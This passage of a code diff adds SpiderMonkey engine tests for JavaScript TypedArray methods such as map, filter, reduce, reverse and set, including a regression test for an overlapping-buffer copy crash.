+ assertDeepEq(new constructor().map(v => v + 1), new constructor);
+ assertDeepEq(new constructor([1,2,3]).map(v => v), new constructor([1,2,3]));
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v;
+ }), arr);
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.map((v,k) => {
+ changeArr[k] = v + 1;
+ return v;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.map((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "map";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "map");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.map();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.map(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.map(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var map = newGlobal()[constructor.name].prototype.map;
+ var sum = 0;
+ assertDeepEq(map.call(new constructor([1, 2, 3]), v => sum += v), new constructor([1,3,6]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that map fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).map((b) => b), new constructor([1,2,3]));
+}
+
+// Test For TypedArray#filter.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.filter.length, 1)
+
+ // Basic tests.
+ assertDeepEq(new constructor([1,2,3]).filter(x => x == x), new constructor([1,2,3]));
+ assertDeepEq(new constructor([1,2,3,4]).filter(x => x % 2 == 0), new constructor([2,4]));
+ assertDeepEq(new constructor([1,2,3,4,5]).filter(x => x < 4), new constructor([1,2,3]));
+ assertDeepEq(new constructor().filter(x => x * 2 == 4), new constructor());
+
+ var arr = new constructor([1,2,3,4,5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return (v < 4);
+ }), new constructor([1,2,3]));
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.filter((v,k) => {
+ changeArr[k] = v + 1;
+ return true;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.filter((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "filter";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "filter");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.filter();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.filter(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.filter(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var filter = newGlobal()[constructor.name].prototype.filter;
+ var sum = 0;
+ assertDeepEq(filter.call(new constructor([1, 2, 3]), v => {sum += v; return true}),
+ new constructor([1,2,3]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that filter fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).filter((b) => true), new constructor([1,2,3]));
+}
+
+// Test that changing Array.prototype[Symbol.iterator] does not affect the
+// behaviour of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+
+var arr = new Uint16Array([1,2,3]);
+
+// save
+var old = Array.prototype[Symbol.iterator];
+
+Array.prototype[Symbol.iterator] = () => { throw new Error("unreachable"); };
+assertDeepEq(arr.filter(v => true), arr);
+
+// restore
+Array.prototype[Symbol.iterator] = old;
+
+// Test that defining accessors on Array.prototype doesn't affect the behaviour
+// of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+Object.defineProperty(Array.prototype, 0, {configurable: true, get: function() { return 1; }, set: function() { this.b = 1; }});
+assertDeepEq(new Uint16Array([1,2,3]).filter(v => true), new Uint16Array([1,2,3]));
+delete Array.prototype[0];
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/map-species.js b/js/src/tests/ecma_6/TypedArray/map-species.js
new file mode 100644
index 000000000..8353d914b
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/map-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4, 6, 8, 10]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.map(x => x * 2), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.map(x => x * 2), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC, 0xFA, 0xF8, 0xF6]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0, 0, 0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC, 0xFFFA, 0xFFF8, 0xFFF6]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4, -6, -8, -10]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC, 0xFFFFFFFA, 0xFFFFFFF8, 0xFFFFFFF6]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4, -6, -8, -10]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/object-defineproperty.js b/js/src/tests/ecma_6/TypedArray/object-defineproperty.js
new file mode 100644
index 000000000..1f25f6552
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/object-defineproperty.js
@@ -0,0 +1,68 @@
+var obj = new Int32Array(2);
+obj[0] = 100;
+
+var throws = [
+ // Disallow accessors
+ {get: undefined},
+ {set: undefined},
+ {get: undefined, set: undefined},
+ {get: function() {}},
+ {set: function() {}},
+ {get: function() {}, set: function() {}},
+
+ {configurable: true},
+ {enumerable: false},
+ {writable: false},
+
+ {configurable: true, writable: true},
+ {enumerable: false, configurable: false},
+
+ {configurable: true, value: 15}
+];
+
+for (var desc of throws) {
+ assertThrowsInstanceOf(function() { Object.defineProperty(obj, 0, desc); }, TypeError);
+ assertThrowsInstanceOf(function() { Object.defineProperties(obj, {0: desc}); }, TypeError);
+}
+
+Object.defineProperty(obj, 0, {});
+Object.defineProperty(obj, 0, {configurable: false});
+Object.defineProperty(obj, 0, {enumerable: true});
+Object.defineProperty(obj, 0, {writable: true});
+
+assertEq(obj[0], 100);
+
+Object.defineProperty(obj, 0, {configurable: false, value: 15});
+assertEq(obj[0], 15);
+Object.defineProperty(obj, 0, {enumerable: true, value: 16});
+assertEq(obj[0], 16);
+Object.defineProperty(obj, 0, {writable: true, value: 17});
+assertEq(obj[0], 17);
+Object.defineProperty(obj, 0, {value: 18});
+assertEq(obj[0], 18);
+
+var desc = Object.getOwnPropertyDescriptor(obj, 0);
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 18);
+assertEq('get' in desc, false);
+assertEq('set' in desc, false);
+
+Object.defineProperties(obj, {0: {value: 20}, 1: {value: 42}});
+assertEq(obj[0], 20);
+assertEq(obj[1], 42);
+
+anyTypedArrayConstructors.forEach(constructor => {
+ var obj = new constructor(4);
+ obj[0] = 100;
+ obj[1] = 200;
+
+ for (var v of [20, 300, -10, Math.pow(2, 32), -Math.pow(2, 32), NaN]) {
+ Object.defineProperty(obj, 0, {value: v});
+ obj[1] = v;
+ assertEq(obj[0], obj[1]);
+ }
+});
+
+reportCompare(true, true, "test");
diff --git a/js/src/tests/ecma_6/TypedArray/of.js b/js/src/tests/ecma_6/TypedArray/of.js
new file mode 100644
index 000000000..fffc06325
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/of.js
@@ -0,0 +1,92 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.of.length, 0);
+
+ assertDeepEq(Object.getOwnPropertyDescriptor(constructor.__proto__, "of"), {
+ value: constructor.of,
+ writable: true,
+ enumerable: false,
+ configurable: true
+ });
+
+ // Basic tests.
+ assertEq(constructor.of().constructor, constructor);
+ assertEq(constructor.of() instanceof constructor, true);
+ assertDeepEq(constructor.of(10), new constructor([10]));
+ assertDeepEq(constructor.of(1, 2, 3), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.of("1", "2", "3"), new constructor([1, 2, 3]));
+
+ // This method can't be transplanted to other constructors.
+ assertThrows(() => constructor.of.call(Array), TypeError);
+ assertThrows(() => constructor.of.call(Array, 1, 2, 3), TypeError);
+
+ var hits = 0;
+ assertDeepEq(constructor.of.call(function(len) {
+ assertEq(arguments.length, 1);
+ assertEq(len, 3);
+ hits++;
+ return new constructor(len);
+ }, 10, 20, 30), new constructor([10, 20, 30]));
+ assertEq(hits, 1);
+
+ // Behavior across compartments.
+ if (typeof newGlobal === "function") {
+ var newC = newGlobal()[constructor.name];
+ assertEq(newC.of() instanceof newC, true);
+ assertEq(newC.of() instanceof constructor, false);
+ assertEq(newC.of.call(constructor) instanceof constructor, true);
+ }
+
+ // Throws if `this` isn't a constructor.
+ var invalidConstructors = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ constructor.of, () => {}];
+ invalidConstructors.forEach(C => {
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(C);
+ }, TypeError);
+ });
+
+ // Throw if `this` is a method definition or a getter/setter function.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call({method() {}}.method);
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(Object.getOwnPropertyDescriptor({get getter() {}}, "getter").get);
+ }, TypeError);
+
+ // Generators are not legal constructors.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function*(len) {
+ return len;
+ }, "a")
+ }, TypeError);
+
+ // An exception might be thrown in a strict assignment to the new object's indexed properties.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return {get 0() {}};
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object("1");
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object.create({
+ set 0(v) {
+ throw new TypeError;
+ }
+ });
+ }, "a");
+ }, TypeError);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(constructor.of(0.1, null, undefined, NaN), new constructor([0.1, 0, NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/prototype-constructor-identity.js b/js/src/tests/ecma_6/TypedArray/prototype-constructor-identity.js
new file mode 100644
index 000000000..10324f572
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/prototype-constructor-identity.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = 'prototype-constructor-identity.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "Typed array prototypes/constructors should be largely empty, inheriting "
+ "most functionality from %TypedArray% and %TypedArray%.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+assertEq(TypedArray !== Function.prototype, true,
+ "%TypedArray% should be in constructors' [[Prototype]] chains");
+assertEq(Object.getPrototypeOf(TypedArray), Function.prototype,
+ "%TypedArray%.prototype should inherit from Function.prototype");
+
+assertEq(TypedArray.prototype.constructor, TypedArray,
+ "bad %TypedArray%.prototype.constructor");
+
+// Check a few different functions we implement are here, as a sanity check.
+var typedArrayProps = Object.getOwnPropertyNames(TypedArray.prototype);
+assertEq(typedArrayProps.indexOf("copyWithin") >= 0, true);
+assertEq(typedArrayProps.indexOf("subarray") >= 0, true);
+assertEq(typedArrayProps.indexOf("set") >= 0, true);
+
+anyTypedArrayConstructors.forEach(function(ctor) {
+ assertEq(Object.getPrototypeOf(ctor), TypedArray);
+
+ var proto = ctor.prototype;
+
+ // Inherited functions aren't present.
+ var props = Object.getOwnPropertyNames(proto).sort();
+ assertEq(props[0], "BYTES_PER_ELEMENT");
+ assertEq(props[1], "constructor");
+ assertEq(props.length, 2);
+
+ // The inheritance chain should be set up properly.
+ assertEq(Object.getPrototypeOf(proto), TypedArray.prototype,
+ "prototype should inherit from %TypedArray%.prototype");
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/TypedArray/reduce-and-reduceRight.js b/js/src/tests/ecma_6/TypedArray/reduce-and-reduceRight.js
new file mode 100644
index 000000000..21a7d99e9
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/reduce-and-reduceRight.js
@@ -0,0 +1,188 @@
+// Tests for TypedArray#reduce.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduce.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduce((previous, current) => previous + current), 15);
+ assertEq(arr.reduce((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 14);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduce((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduce((previous, current) => previous + current, ""), "12345");
+ assertDeepEq(arr.reduce((previous, current) => previous.concat(current), []), [1, 2, 3, 4, 5]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduce(function(){
+ assertEq(this, global);
+ });
+ arr.reduce(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduce(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 3) {
+ throw TypeError("reduce");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduce();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduce(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduce(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduce = newGlobal()[constructor.name].prototype.reduce;
+ assertEq(reduce.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduce.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduce fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduce((previous, current) => Math.max(previous, current)), 5);
+}
+
+// Tests for TypedArray#reduceRight.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduceRight.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduceRight((previous, current) => previous + current), 15);
+ assertEq(arr.reduceRight((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 10);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduceRight((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduceRight((previous, current) => previous + current, ""), "54321");
+ assertDeepEq(arr.reduceRight((previous, current) => previous.concat(current), []), [5, 4, 3, 2, 1]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduceRight(function(){
+ assertEq(this, global);
+ });
+ arr.reduceRight(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduceRight(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 1) {
+ throw TypeError("reduceRight");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduceRight(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduceRight = newGlobal()[constructor.name].prototype.reduceRight;
+ assertEq(reduceRight.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduceRight.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduceRight fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduceRight((previous, current) => Math.max(previous, current)), 5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/reverse.js b/js/src/tests/ecma_6/TypedArray/reverse.js
new file mode 100644
index 000000000..f8146506c
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/reverse.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.reverse.length, 0);
+
+ assertDeepEq(new constructor().reverse(), new constructor());
+ assertDeepEq(new constructor(10).reverse(), new constructor(10));
+ assertDeepEq(new constructor([]).reverse(), new constructor([]));
+ assertDeepEq(new constructor([1]).reverse(), new constructor([1]));
+ assertDeepEq(new constructor([1, 2]).reverse(), new constructor([2, 1]));
+ assertDeepEq(new constructor([1, 2, 3]).reverse(), new constructor([3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).reverse(), new constructor([4, 3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4, 5]).reverse(), new constructor([5, 4, 3, 2, 1]));
+ assertDeepEq(new constructor([.1, .2, .3]).reverse(), new constructor([.3, .2, .1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reverse = newGlobal()[constructor.name].prototype.reverse;
+ assertDeepEq(reverse.call(new constructor([3, 2, 1])), new constructor([1, 2, 3]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reverse.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reverse();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/seal-and-freeze.js b/js/src/tests/ecma_6/TypedArray/seal-and-freeze.js
new file mode 100644
index 000000000..f3919f7ea
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/seal-and-freeze.js
@@ -0,0 +1,48 @@
+"use strict";
+
+// Seal
+assertEq(Object.isSealed(new Int32Array(2)), false);
+assertEq(Object.isSealed(new Int32Array(0)), false);
+
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), true);
+
+array = new Int32Array(1);
+array.b = "test";
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), false);
+Object.defineProperty(array, "b", {configurable: false});
+assertEq(Object.isSealed(array), true);
+
+array = new Int32Array(2);
+array.b = "test";
+Object.seal(array);
+assertEq(Object.isSealed(array), true);
+assertThrowsInstanceOf(() => array.c = 15, TypeError);
+
+// Freeze
+assertEq(Object.isFrozen(new Int32Array(2)), false);
+assertEq(Object.isFrozen(new Int32Array(0)), false);
+
+// Empty non-extensible typed-array is trvially frozen
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), true);
+
+array = new Int32Array(0);
+array.b = "test";
+assertEq(Object.isFrozen(array), false);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), false);
+Object.defineProperty(array, "b", {configurable: false, writable: false});
+assertEq(Object.isFrozen(array), true);
+
+// Non-empty typed arrays can never be frozen, because the elements stay writable
+array = new Int32Array(1);
+assertThrowsInstanceOf(() => Object.freeze(array), TypeError);
+assertEq(Object.isExtensible(array), false);
+assertEq(Object.isFrozen(array), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/set-negative-offset.js b/js/src/tests/ecma_6/TypedArray/set-negative-offset.js
new file mode 100644
index 000000000..6d9c45ffb
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/set-negative-offset.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-negative-offset.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1140752;
+var summary =
+ "%TypedArray%.prototype.set must throw a RangeError when passed a negative " +
+ "offset";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new Uint8Array().set([], -1);
+ throw new Error("didn't throw at all");
+}
+catch (e)
+{
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/TypedArray/set-same-buffer-different-source-target-types.js b/js/src/tests/ecma_6/TypedArray/set-same-buffer-different-source-target-types.js
new file mode 100644
index 000000000..9084ce883
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/set-same-buffer-different-source-target-types.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-same-buffer-different-source-target-types.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "When setting a typed array from an overlapping typed array of different " +
+ "element type, copy the source elements into properly-sized temporary " +
+ "memory, and properly copy them into the target without overflow (of " +
+ "either source *or* target) when finished";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// smallest 2**n triggering segfaults in a pre-patch build locally, then
+// quadrupled in case the boundary ever changes, or is different in some other
+// memory-allocating implementation
+var srclen = 65536;
+
+var ta = new Uint8Array(srclen * Float64Array.BYTES_PER_ELEMENT);
+var ta2 = new Float64Array(ta.buffer, 0, srclen);
+ta.set(ta2);
+
+// This test mostly exists to check for no crash above, but it's worth testing
+// for no uninitialized memory (in case of buffer overflow) being copied into
+// the array, too.
+for (var i = 0, len = ta.length; i < len; i++)
+ assertEq(ta[i], 0, "zero-bits double should convert to zero");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/TypedArray/set.js b/js/src/tests/ecma_6/TypedArray/set.js
new file mode 100644
index 000000000..2af5a129a
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/set.js
@@ -0,0 +1,21 @@
